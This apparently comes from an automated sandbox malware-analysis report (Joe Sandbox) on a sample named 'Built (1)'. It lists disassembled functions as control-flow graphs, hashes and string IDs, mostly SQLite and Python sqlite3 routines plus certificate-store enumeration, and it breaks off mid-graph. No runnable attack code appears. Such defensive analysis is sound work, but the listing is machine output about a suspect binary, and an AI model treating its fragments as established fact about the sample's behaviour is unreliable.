                                              • Associated: 00000001.00000002.1908641322.00007FFE11EE1000.00000080.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908673577.00007FFE11EE3000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ec0000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$You can only execute one statement at a time.$delete$insert$query string is too large$replace$sqlite3.Connection$the query contains a null character$update
                                              • API String ID: 3568877910-3639599724
                                              • Opcode ID: ff28ce909f071e4b9f3781cf33e2bd0545122bce6c6189100ae3b37665ffa33c
                                              • Instruction ID: 77e1d1a58d7bb8f407f89b1c4f11cf9878f438902d7ea4ae5cceaa860a82709f
                                              • Opcode Fuzzy Hash: ff28ce909f071e4b9f3781cf33e2bd0545122bce6c6189100ae3b37665ffa33c
                                              • Instruction Fuzzy Hash: FE817C21B08F4285EB648BA3EC5837B67A9EF85BA4F8444B1D90E476B4DE3CF446C741
                                              Function 00007FFE11EC4660 Relevance: 23.3, APIs: 3, Strings: 10, Instructions: 584COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908549251.00007FFE11EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFE11EC0000, based on PE: true
                                              • Associated: 00000001.00000002.1908523800.00007FFE11EC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11ED9000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11EDF000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908641322.00007FFE11EE1000.00000080.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908673577.00007FFE11EE3000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ec0000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007$C8820
                                              • String ID: BEGIN $Base Connection.__init__ not called.$Base Cursor.__init__ not called.$Cannot operate on a closed cursor.$Cannot operate on a closed database.$Error while building row_cast_map$Recursive use of cursors not allowed.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$e$executemany() can only execute DML statements.
                                              • API String ID: 3120960953-3920904728
                                              • Opcode ID: 559387b9684916bea712c54c96ea7dfc83739133407d48e8fd509a5841aa1c1a
                                              • Instruction ID: f13e0da5bdf1d68fe88aa4cb314673b44d5cefdf07f614ebe995bf899c5de6ed
                                              • Opcode Fuzzy Hash: 559387b9684916bea712c54c96ea7dfc83739133407d48e8fd509a5841aa1c1a
                                              • Instruction Fuzzy Hash: A0520732A09E4286EB649FA6EC5437A63A8FF45BA5F9400B1DA0E476B4DF3CF445C701
                                              Function 00007FFDFF213960 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 334COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 1353 7ffdff213960-7ffdff213a24 call 7ffdff213660 1356 7ffdff213dd5-7ffdff213dd8 1353->1356 1357 7ffdff213a2a-7ffdff213a48 1353->1357 1360 7ffdff213de2-7ffdff213de5 call 7ffdff196c00 1356->1360 1361 7ffdff213dda-7ffdff213de0 1356->1361 1358 7ffdff213a62-7ffdff213a66 1357->1358 1359 7ffdff213a4a-7ffdff213a5d 1357->1359 1365 7ffdff213a76-7ffdff213a82 1358->1365 1366 7ffdff213a68-7ffdff213a6f 1358->1366 1364 7ffdff213dfe-7ffdff213e1d call 7ffdff2c28c0 1359->1364 1362 7ffdff213dea-7ffdff213df0 call 7ffdff1f09c0 1360->1362 1361->1360 1361->1362 1375 7ffdff213df5-7ffdff213df7 1362->1375 1370 7ffdff213a8e-7ffdff213a92 1365->1370 1371 7ffdff213a84-7ffdff213a88 1365->1371 1366->1365 1369 7ffdff213a71 call 7ffdff1af990 1366->1369 1369->1365 1373 7ffdff213a94-7ffdff213a98 1370->1373 1374 7ffdff213a9a-7ffdff213a9f call 7ffdff1b3270 1370->1374 1371->1370 1372 7ffdff213b0b-7ffdff213b16 1371->1372 1380 7ffdff213b20-7ffdff213b37 call 7ffdff1bd180 1372->1380 1373->1374 1378 7ffdff213b08 1373->1378 1381 7ffdff213aa4-7ffdff213aa8 1374->1381 1375->1364 1378->1372 1386 7ffdff213b39-7ffdff213b41 1380->1386 1381->1378 1383 7ffdff213aaa-7ffdff213ab7 call 7ffdff251300 1381->1383 1390 7ffdff213aee-7ffdff213af5 1383->1390 1391 7ffdff213ab9 1383->1391 1388 7ffdff213b4e 1386->1388 1389 7ffdff213b43-7ffdff213b4c 1386->1389 1392 7ffdff213b51-7ffdff213b5f 1388->1392 1389->1392 1396 7ffdff213aff-7ffdff213b03 1390->1396 1397 7ffdff213af7-7ffdff213afa call 7ffdff1963c0 1390->1397 1393 7ffdff213ac0-7ffdff213ac9 1391->1393 1394 7ffdff213c14 1392->1394 1395 7ffdff213b65-7ffdff213b68 1392->1395 1393->1393 1400 7ffdff213acb-7ffdff213add call 7ffdff196840 1393->1400 1403 7ffdff213c19-7ffdff213c2c 1394->1403 1401 7ffdff213ba4-7ffdff213baa 1395->1401 1402 7ffdff213b6a-7ffdff213b6f 1395->1402 1399 7ffdff213db8-7ffdff213dc0 1396->1399 1397->1396 1405 7ffdff213dcd-7ffdff213dd3 1399->1405 1406 7ffdff213dc2-7ffdff213dc6 1399->1406 1400->1390 1428 7ffdff213adf-7ffdff213ae9 00007FFE1A462010 1400->1428 1401->1394 1404 7ffdff213bac-7ffdff213bbf call 7ffdff196840 1401->1404 1402->1401 1408 7ffdff213b71-7ffdff213b86 1402->1408 1409 7ffdff213c2e-7ffdff213c33 1403->1409 1410 7ffdff213c62-7ffdff213c75 1403->1410 1435 7ffdff213bc1-7ffdff213bf2 1404->1435 1436 7ffdff213bf5-7ffdff213bfc 1404->1436 1405->1356 1405->1375 1406->1405 1416 7ffdff213dc8 call 7ffdff1af960 1406->1416 1418 7ffdff213b88-7ffdff213b8b 1408->1418 1419 7ffdff213b9a-7ffdff213ba2 call 7ffdff1f9e50 1408->1419 1411 7ffdff213c45-7ffdff213c4c 1409->1411 1412 7ffdff213c35-7ffdff213c3a 1409->1412 1414 7ffdff213c77 1410->1414 1415 7ffdff213c7b-7ffdff213c83 1410->1415 1423 7ffdff213c4f-7ffdff213c5d call 7ffdff1b2930 1411->1423 1420 7ffdff213c43 1412->1420 1421 7ffdff213c3c-7ffdff213c41 1412->1421 1414->1415 1425 7ffdff213c85-7ffdff213c98 call 7ffdff196840 1415->1425 1426 7ffdff213ccb-7ffdff213ccd 1415->1426 1416->1405 1418->1419 1429 7ffdff213b8d-7ffdff213b8f 1418->1429 1419->1403 1420->1411 1421->1423 1423->1410 1447 7ffdff213cb1-7ffdff213cb8 1425->1447 1448 7ffdff213c9a-7ffdff213cac 1425->1448 1431 7ffdff213ccf-7ffdff213cd3 1426->1431 1432 7ffdff213cda-7ffdff213d48 call 7ffdff199160 call 7ffdff20c510 1426->1432 1428->1390 1429->1419 1430 7ffdff213b91-7ffdff213b95 1429->1430 1438 7ffdff213da9-7ffdff213dad 1430->1438 1431->1432 1439 7ffdff213cd5 1431->1439 1455 7ffdff213d55-7ffdff213d57 1432->1455 1456 7ffdff213d4a-7ffdff213d50 call 7ffdff1963c0 1432->1456 1435->1436 1441 7ffdff213bfe-7ffdff213c01 call 7ffdff1963c0 1436->1441 1442 7ffdff213c06-7ffdff213c0f 1436->1442 1438->1399 1445 7ffdff213daf-7ffdff213db3 call 7ffdff1b4660 1438->1445 1439->1432 1441->1442 1442->1438 1445->1399 1451 7ffdff213cc2-7ffdff213cc6 1447->1451 1452 7ffdff213cba-7ffdff213cbd call 7ffdff1963c0 1447->1452 1448->1447 1451->1438 1452->1451 1458 7ffdff213d64-7ffdff213d68 1455->1458 1459 7ffdff213d59-7ffdff213d5f call 7ffdff1edb30 1455->1459 1456->1455 1461 7ffdff213d81-7ffdff213d83 1458->1461 1462 7ffdff213d6a-7ffdff213d7f call 7ffdff1f0a50 1458->1462 1459->1458 1464 7ffdff213d94-7ffdff213da4 1461->1464 1465 7ffdff213d85-7ffdff213d8d 1461->1465 1462->1438 1464->1438 1465->1438 1467 7ffdff213d8f-7ffdff213d92 1465->1467 1467->1438 1467->1464
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
                                              • API String ID: 1130837773-879093740
                                              • Opcode ID: cfc3d6a1c215a5039278a8215ca2a766a3d48d3875340b33d2f0d39218631862
                                              • Instruction ID: 235d1ef23818e52348c0fb7f8aa15ef8303545328486c3c954f8e6d33e9fa1f1
                                              • Opcode Fuzzy Hash: cfc3d6a1c215a5039278a8215ca2a766a3d48d3875340b33d2f0d39218631862
                                              • Instruction Fuzzy Hash: 12E19B22F0868696EB10CB6580A0ABD27A6FB45B98F054335CE7DE77D9DF38E851C344
                                              Function 00007FFDFF1A01A0 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409fileCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 1764 7ffdff1a01a0-7ffdff1a01ec 1765 7ffdff1a01f1-7ffdff1a0264 1764->1765 1766 7ffdff1a0266-7ffdff1a0275 call 7ffdff19fbc0 1765->1766 1767 7ffdff1a028b-7ffdff1a029b call 7ffdff19d210 1765->1767 1772 7ffdff1a0807-7ffdff1a082a call 7ffdff2c28c0 1766->1772 1773 7ffdff1a027b-7ffdff1a0286 1766->1773 1774 7ffdff1a07a2-7ffdff1a07a5 1767->1774 1775 7ffdff1a02a1-7ffdff1a02ca 1767->1775 1773->1767 1777 7ffdff1a07a7-7ffdff1a07ae 1774->1777 1778 7ffdff1a0802 1774->1778 1779 7ffdff1a02d0-7ffdff1a02e5 1775->1779 1781 7ffdff1a07f9 1777->1781 1782 7ffdff1a07b0-7ffdff1a07ba 1777->1782 1778->1772 1786 7ffdff1a02e7-7ffdff1a02f3 1779->1786 1787 7ffdff1a0322-7ffdff1a032c 1779->1787 1781->1778 1783 7ffdff1a07bc 1782->1783 1784 7ffdff1a07c2-7ffdff1a07ef 1782->1784 1783->1784 1784->1778 1802 7ffdff1a07f1-7ffdff1a07f7 1784->1802 1789 7ffdff1a0336-7ffdff1a0351 1786->1789 1795 7ffdff1a02f5-7ffdff1a02fb 1786->1795 1787->1789 1790 7ffdff1a032e-7ffdff1a0330 1787->1790 1793 7ffdff1a0359-7ffdff1a0362 1789->1793 1794 7ffdff1a0353-7ffdff1a0357 1789->1794 1790->1789 1792 7ffdff1a0578-7ffdff1a057f 1790->1792 1797 7ffdff1a05ca 1792->1797 1798 7ffdff1a0581-7ffdff1a058b 1792->1798 1799 7ffdff1a0365-7ffdff1a0379 call 7ffdff255560 1793->1799 1794->1799 1800 7ffdff1a02fd-7ffdff1a0301 1795->1800 1801 7ffdff1a0303-7ffdff1a0306 1795->1801 1809 7ffdff1a05d3 1797->1809 1803 7ffdff1a058d 1798->1803 1804 7ffdff1a0593-7ffdff1a05c0 1798->1804 1810 7ffdff1a0396 1799->1810 1811 7ffdff1a037b-7ffdff1a0394 call 7ffdff20d4c0 1799->1811 1800->1801 1808 7ffdff1a030f-7ffdff1a0320 1800->1808 1807 7ffdff1a0308-7ffdff1a030d 1801->1807 1801->1808 1802->1778 1803->1804 1812 7ffdff1a05da-7ffdff1a05dd 1804->1812 1825 7ffdff1a05c2-7ffdff1a05c8 1804->1825 1807->1789 1807->1808 1808->1779 1809->1812 1816 7ffdff1a0398-7ffdff1a03ba 1810->1816 1811->1816 1817 7ffdff1a063b-7ffdff1a0640 1812->1817 1818 7ffdff1a05df-7ffdff1a05e6 1812->1818 1821 7ffdff1a03c0-7ffdff1a03e7 CreateFileW 1816->1821 1817->1772 1822 7ffdff1a05e8-7ffdff1a05eb 1818->1822 1823 7ffdff1a0632 1818->1823 1826 7ffdff1a03ed-7ffdff1a03ef 1821->1826 1827 7ffdff1a0490 1821->1827 1828 7ffdff1a05ed 1822->1828 1829 7ffdff1a05f3-7ffdff1a0620 1822->1829 1823->1817 1825->1809 1830 7ffdff1a043f-7ffdff1a044c 1826->1830 1831 7ffdff1a03f1-7ffdff1a0403 1826->1831 1832 7ffdff1a0494-7ffdff1a0497 1827->1832 1828->1829 1829->1817 1851 7ffdff1a0622-7ffdff1a062d 1829->1851 1845 7ffdff1a048c-7ffdff1a048e 1830->1845 1846 7ffdff1a044e-7ffdff1a0454 1830->1846 1836 7ffdff1a0405 1831->1836 1837 7ffdff1a0407-7ffdff1a042d call 7ffdff1a09f0 1831->1837 1833 7ffdff1a04c7-7ffdff1a04cb 1832->1833 1834 7ffdff1a0499-7ffdff1a04c2 call 7ffdff199330 1832->1834 1840 7ffdff1a067f-7ffdff1a068d 1833->1840 1841 7ffdff1a04d1-7ffdff1a04e1 call 7ffdff1962e0 1833->1841 1834->1833 1836->1837 1855 7ffdff1a042f 1837->1855 1856 7ffdff1a0431-7ffdff1a0433 1837->1856 1848 7ffdff1a069d-7ffdff1a06b6 call 7ffdff1962e0 1840->1848 1849 7ffdff1a068f-7ffdff1a069b 1840->1849 1860 7ffdff1a053e-7ffdff1a0543 1841->1860 1861 7ffdff1a04e3-7ffdff1a04ea 1841->1861 1845->1832 1853 7ffdff1a0466-7ffdff1a0469 1846->1853 1854 7ffdff1a0456-7ffdff1a0464 1846->1854 1865 7ffdff1a06b8-7ffdff1a06bf 1848->1865 1866 7ffdff1a0713-7ffdff1a0716 1848->1866 1849->1848 1851->1772 1862 7ffdff1a046b-7ffdff1a0470 1853->1862 1863 7ffdff1a0472-7ffdff1a0487 1853->1863 1854->1853 1854->1863 1855->1856 1858 7ffdff1a0435-7ffdff1a0439 1856->1858 1859 7ffdff1a043b 1856->1859 1858->1827 1858->1859 1859->1830 1868 7ffdff1a0645-7ffdff1a067a call 7ffdff19d9d0 call 7ffdff254590 1860->1868 1869 7ffdff1a0549-7ffdff1a054e 1860->1869 1870 7ffdff1a0535 1861->1870 1871 7ffdff1a04ec-7ffdff1a04f6 1861->1871 1862->1845 1862->1863 1863->1821 1872 7ffdff1a070a 1865->1872 1873 7ffdff1a06c1-7ffdff1a06cb 1865->1873 1879 7ffdff1a0718-7ffdff1a071b 1866->1879 1880 7ffdff1a071d 1866->1880 1868->1772 1869->1868 1875 7ffdff1a0554-7ffdff1a0573 1869->1875 1870->1860 1876 7ffdff1a04f8 1871->1876 1877 7ffdff1a04fe-7ffdff1a052b 1871->1877 1872->1866 1882 7ffdff1a06cd 1873->1882 1883 7ffdff1a06d3-7ffdff1a0700 1873->1883 1875->1765 1876->1877 1877->1860 1897 7ffdff1a052d-7ffdff1a0533 1877->1897 1881 7ffdff1a0724-7ffdff1a073c 1879->1881 1880->1881 1885 7ffdff1a073e 1881->1885 1886 7ffdff1a0742-7ffdff1a074a 1881->1886 1882->1883 1883->1866 1900 7ffdff1a0702-7ffdff1a0708 1883->1900 1885->1886 1889 7ffdff1a077a-7ffdff1a07a0 1886->1889 1890 7ffdff1a074c-7ffdff1a0760 call 7ffdff255560 1886->1890 1889->1772 1898 7ffdff1a0776 1890->1898 1899 7ffdff1a0762-7ffdff1a0774 call 7ffdff20d4c0 1890->1899 1897->1860 1898->1889 1899->1889 1899->1898 1900->1866
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: CreateFile
                                              • String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
                                              • API String ID: 823142352-3829269058
                                              • Opcode ID: 0912c39c3ba5a54ed155f3fab31f5fc903eee6313a0d88fe77a6d397d6f15039
                                              • Instruction ID: 14cec3febc2d7385c1d27990e8462d161ed9dfa2b7097e2e4c51c22000c1cc7a
                                              • Opcode Fuzzy Hash: 0912c39c3ba5a54ed155f3fab31f5fc903eee6313a0d88fe77a6d397d6f15039
                                              • Instruction Fuzzy Hash: E8025E27F1968386FB648B61A870A7967A0BF84B54F044335D97EDA7E8DF3CE8448700
                                              Function 00007FFE11EC6350 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 233COMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 2052 7ffe11ec6350-7ffe11ec6398 call 7ffe11ecf130 2055 7ffe11ec639e-7ffe11ec63ae call 7ffe11ecf150 2052->2055 2056 7ffe11ec66a4-7ffe11ec66a9 2052->2056 2055->2056 2060 7ffe11ec63b4-7ffe11ec63bb 2055->2060 2057 7ffe11ec6647-7ffe11ec666a 2056->2057 2061 7ffe11ec66ab-7ffe11ec66c6 call 7ffe11ec4290 2060->2061 2062 7ffe11ec63c1-7ffe11ec63f5 call 7ffe11ecf470 call 7ffe11ecf778 2060->2062 2061->2062 2072 7ffe11ec66cc 2061->2072 2068 7ffe11ec63fb-7ffe11ec63ff 2062->2068 2070 7ffe11ec641b-7ffe11ec642c call 7ffe11ecf238 2068->2070 2071 7ffe11ec6401-7ffe11ec6415 call 7ffe11ecf7a0 2068->2071 2076 7ffe11ec643a-7ffe11ec6442 2070->2076 2077 7ffe11ec642e-7ffe11ec6432 2070->2077 2071->2070 2072->2056 2079 7ffe11ec6448-7ffe11ec6467 call 7ffe11ecf1c0 call 7ffe11ecf208 2076->2079 2080 7ffe11ecd25e-7ffe11ecd261 2076->2080 2077->2076 2078 7ffe11ec6434 call 7ffe11ecf498 2077->2078 2078->2076 2089 7ffe11ec6686-7ffe11ec6691 call 7ffe11ec58d0 2079->2089 2090 7ffe11ec646d-7ffe11ec6487 call 7ffe11ecf468 2079->2090 2080->2079 2082 7ffe11ecd267-7ffe11ecd26e call 7ffe11ecf188 2080->2082 2082->2056 2093 7ffe11ec6696-7ffe11ec669e call 7ffe11ecf758 2089->2093 2090->2093 2096 7ffe11ec648d-7ffe11ec64b7 call 7ffe11ecf120 2090->2096 2093->2056 2099 7ffe11ec64bd-7ffe11ec64c0 2096->2099 2100 7ffe11ecd273-7ffe11ecd277 2096->2100 2099->2093 2102 7ffe11ec64c6-7ffe11ec64e5 call 7ffe11ecf120 2099->2102 2100->2099 2101 7ffe11ecd27d-7ffe11ecd284 call 7ffe11ecf498 2100->2101 2101->2099 2107 7ffe11ec64e7-7ffe11ec64eb 2102->2107 2108 7ffe11ec64f6-7ffe11ec64f9 2102->2108 2107->2108 2110 7ffe11ec64ed-7ffe11ec64f0 call 7ffe11ecf498 2107->2110 2108->2093 2109 7ffe11ec64ff-7ffe11ec650d 00007FFDFB26D63C 2108->2109 2111 7ffe11ecd289-7ffe11ecd28c 2109->2111 2112 7ffe11ec6513-7ffe11ec6521 00007FFDFB26D63C 2109->2112 2110->2108 2111->2093 2116 7ffe11ecd292-7ffe11ecd296 2111->2116 2114 7ffe11ecd2ab-7ffe11ecd2ae 2112->2114 2115 7ffe11ec6527-7ffe11ec6582 call 7ffe11ecf1b8 2112->2115 2119 7ffe11ecd2bf-7ffe11ecd2c2 2114->2119 2120 7ffe11ecd2b0-7ffe11ecd2b4 2114->2120 2125 7ffe11ec6588-7ffe11ec6598 2115->2125 2126 7ffe11ecd2d7 2115->2126 2116->2093 2118 7ffe11ecd29c 2116->2118 2122 7ffe11ecd29f-7ffe11ecd2a6 call 7ffe11ecf498 2118->2122 2119->2093 2124 7ffe11ecd2c8-7ffe11ecd2cc 2119->2124 2120->2119 2123 7ffe11ecd2b6-7ffe11ecd2b9 call 7ffe11ecf498 2120->2123 2122->2093 2123->2119 2124->2093 2129 7ffe11ecd2d2-7ffe11ecd2d5 2124->2129 2130 7ffe11ec659e-7ffe11ec6637 call 7ffe11ecf130 2125->2130 2131 7ffe11ecd2de 2125->2131 2126->2131 2129->2122 2130->2056 2135 7ffe11ec6639-7ffe11ec6643 2130->2135 2136 7ffe11ec666b-7ffe11ec6684 call 7ffe11ec3ff0 2135->2136 2137 7ffe11ec6645 2135->2137 2136->2057 2137->2057
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908549251.00007FFE11EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFE11EC0000, based on PE: true
                                              • Associated: 00000001.00000002.1908523800.00007FFE11EC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11ED9000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11EDF000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908641322.00007FFE11EE1000.00000080.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908673577.00007FFE11EE3000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ec0000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: BEGIN$sqlite3.connect$sqlite3.connect/handle
                                              • API String ID: 3568877910-2348745481
                                              • Opcode ID: eaab63732797ca9e60ccc8ec6b397464a7a0689bfca088649f65a14f13d29f47
                                              • Instruction ID: 25d02810275ebeebe1b12f45aff1ed4f85a98ff65b0ff47111595efc023f0548
                                              • Opcode Fuzzy Hash: eaab63732797ca9e60ccc8ec6b397464a7a0689bfca088649f65a14f13d29f47
                                              • Instruction Fuzzy Hash: E7B10632A09F4286EB648FA6ED4036A73A9FB49BA4F844075CA4E42764DF3DF454CB01
                                              Function 00007FFDFF19DBA0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 110fileCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 2190 7ffdff19dba0-7ffdff19dbcb 2191 7ffdff19dc1b-7ffdff19dc3f 2190->2191 2192 7ffdff19dbcd-7ffdff19dbe2 2190->2192 2195 7ffdff19dc44-7ffdff19dc68 ReadFile 2191->2195 2193 7ffdff19dc04-7ffdff19dc18 00007FFE1A462010 2192->2193 2194 7ffdff19dbe4 00007FFE1A462010 2192->2194 2193->2191 2196 7ffdff19dbe9 2194->2196 2197 7ffdff19dcda-7ffdff19dcdc 2195->2197 2198 7ffdff19dc6a-7ffdff19dc73 2195->2198 2199 7ffdff19dbeb-7ffdff19dc03 2196->2199 2200 7ffdff19dd0a-7ffdff19dd13 2197->2200 2201 7ffdff19dcde-7ffdff19dd05 call 7ffdff199330 2197->2201 2198->2197 2205 7ffdff19dc75-7ffdff19dc83 2198->2205 2200->2196 2204 7ffdff19dd19-7ffdff19dd2e call 7ffdff2c36ac 2200->2204 2201->2200 2204->2199 2209 7ffdff19dc85-7ffdff19dc8b 2205->2209 2210 7ffdff19dcb4-7ffdff19dcd5 call 7ffdff19d9d0 2205->2210 2211 7ffdff19dc8d-7ffdff19dc91 2209->2211 2212 7ffdff19dc93-7ffdff19dc96 2209->2212 2210->2199 2211->2212 2214 7ffdff19dca0-7ffdff19dcb2 2211->2214 2212->2214 2215 7ffdff19dc98-7ffdff19dc9e 2212->2215 2214->2195 2215->2210 2215->2214
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010$FileRead
                                              • String ID: delayed %dms for lock/sharing conflict at line %d$winRead
                                              • API String ID: 1184347294-1843600136
                                              • Opcode ID: 85fe4bf6a9de5044139bd81477f78595545f00453eef76515ef488babcd79fc5
                                              • Instruction ID: aaf8d57361424c13541498790f0d58ac7e89df39d35f13b21153ecf691cacb27
                                              • Opcode Fuzzy Hash: 85fe4bf6a9de5044139bd81477f78595545f00453eef76515ef488babcd79fc5
                                              • Instruction Fuzzy Hash: AE41E133B1864682E7209F15E890DA97765FB44B84F50023AEABDD36D8EF3CE4468780
                                              Function 00007FFE0EB3A4D4 Relevance: 7.7, APIs: 5, Instructions: 200encryptionCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 2218 7ffe0eb3a4d4-7ffe0eb3a504 00007FFDFB36204C 2219 7ffe0eb3a766 2218->2219 2220 7ffe0eb3a50a-7ffe0eb3a518 call 7ffe0eb3c5d0 2218->2220 2222 7ffe0eb3a768-7ffe0eb3a784 2219->2222 2224 7ffe0eb3a541-7ffe0eb3a543 2220->2224 2225 7ffe0eb3a51a-7ffe0eb3a51d 2220->2225 2228 7ffe0eb3a60c-7ffe0eb3a61b CertEnumCertificatesInStore 2224->2228 2226 7ffe0eb3a51f-7ffe0eb3a523 2225->2226 2227 7ffe0eb3a52e-7ffe0eb3a53c GetLastError call 7ffe0eb3dbd8 2225->2227 2226->2227 2229 7ffe0eb3a525-7ffe0eb3a528 call 7ffe0eb3d8b8 2226->2229 2227->2222 2231 7ffe0eb3a621 2228->2231 2232 7ffe0eb3a548-7ffe0eb3a550 call 7ffe0eb3d9d8 2228->2232 2229->2227 2235 7ffe0eb3a71c-7ffe0eb3a72c CertCloseStore 2231->2235 2239 7ffe0eb3a556-7ffe0eb3a55c 2232->2239 2237 7ffe0eb3a72e-7ffe0eb3a731 2235->2237 2238 7ffe0eb3a73c-7ffe0eb3a73f 2235->2238 2237->2227 2240 7ffe0eb3a737 2237->2240 2238->2219 2241 7ffe0eb3a741-7ffe0eb3a750 call 7ffe0eb3dcb8 2238->2241 2242 7ffe0eb3a562-7ffe0eb3a570 call 7ffe0eb3af00 2239->2242 2243 7ffe0eb3a68d-7ffe0eb3a696 2239->2243 2240->2238 2252 7ffe0eb3a761-7ffe0eb3a764 2241->2252 2253 7ffe0eb3a752-7ffe0eb3a756 2241->2253 2254 7ffe0eb3a674-7ffe0eb3a67d 2242->2254 2255 7ffe0eb3a576-7ffe0eb3a58d call 7ffe0eb3bed4 2242->2255 2246 7ffe0eb3a6a4 2243->2246 2247 7ffe0eb3a698-7ffe0eb3a69c 2243->2247 2251 7ffe0eb3a6a7 2246->2251 2247->2246 2250 7ffe0eb3a69e call 7ffe0eb3d8b8 2247->2250 2250->2246 2257 7ffe0eb3a6aa 2251->2257 2252->2222 2253->2252 2258 7ffe0eb3a758-7ffe0eb3a75b call 7ffe0eb3d8b8 2253->2258 2254->2251 2261 7ffe0eb3a67f-7ffe0eb3a683 2254->2261 2267 7ffe0eb3a58f-7ffe0eb3a592 2255->2267 2268 7ffe0eb3a5b3-7ffe0eb3a5b6 2255->2268 2260 7ffe0eb3a6ad-7ffe0eb3a6b9 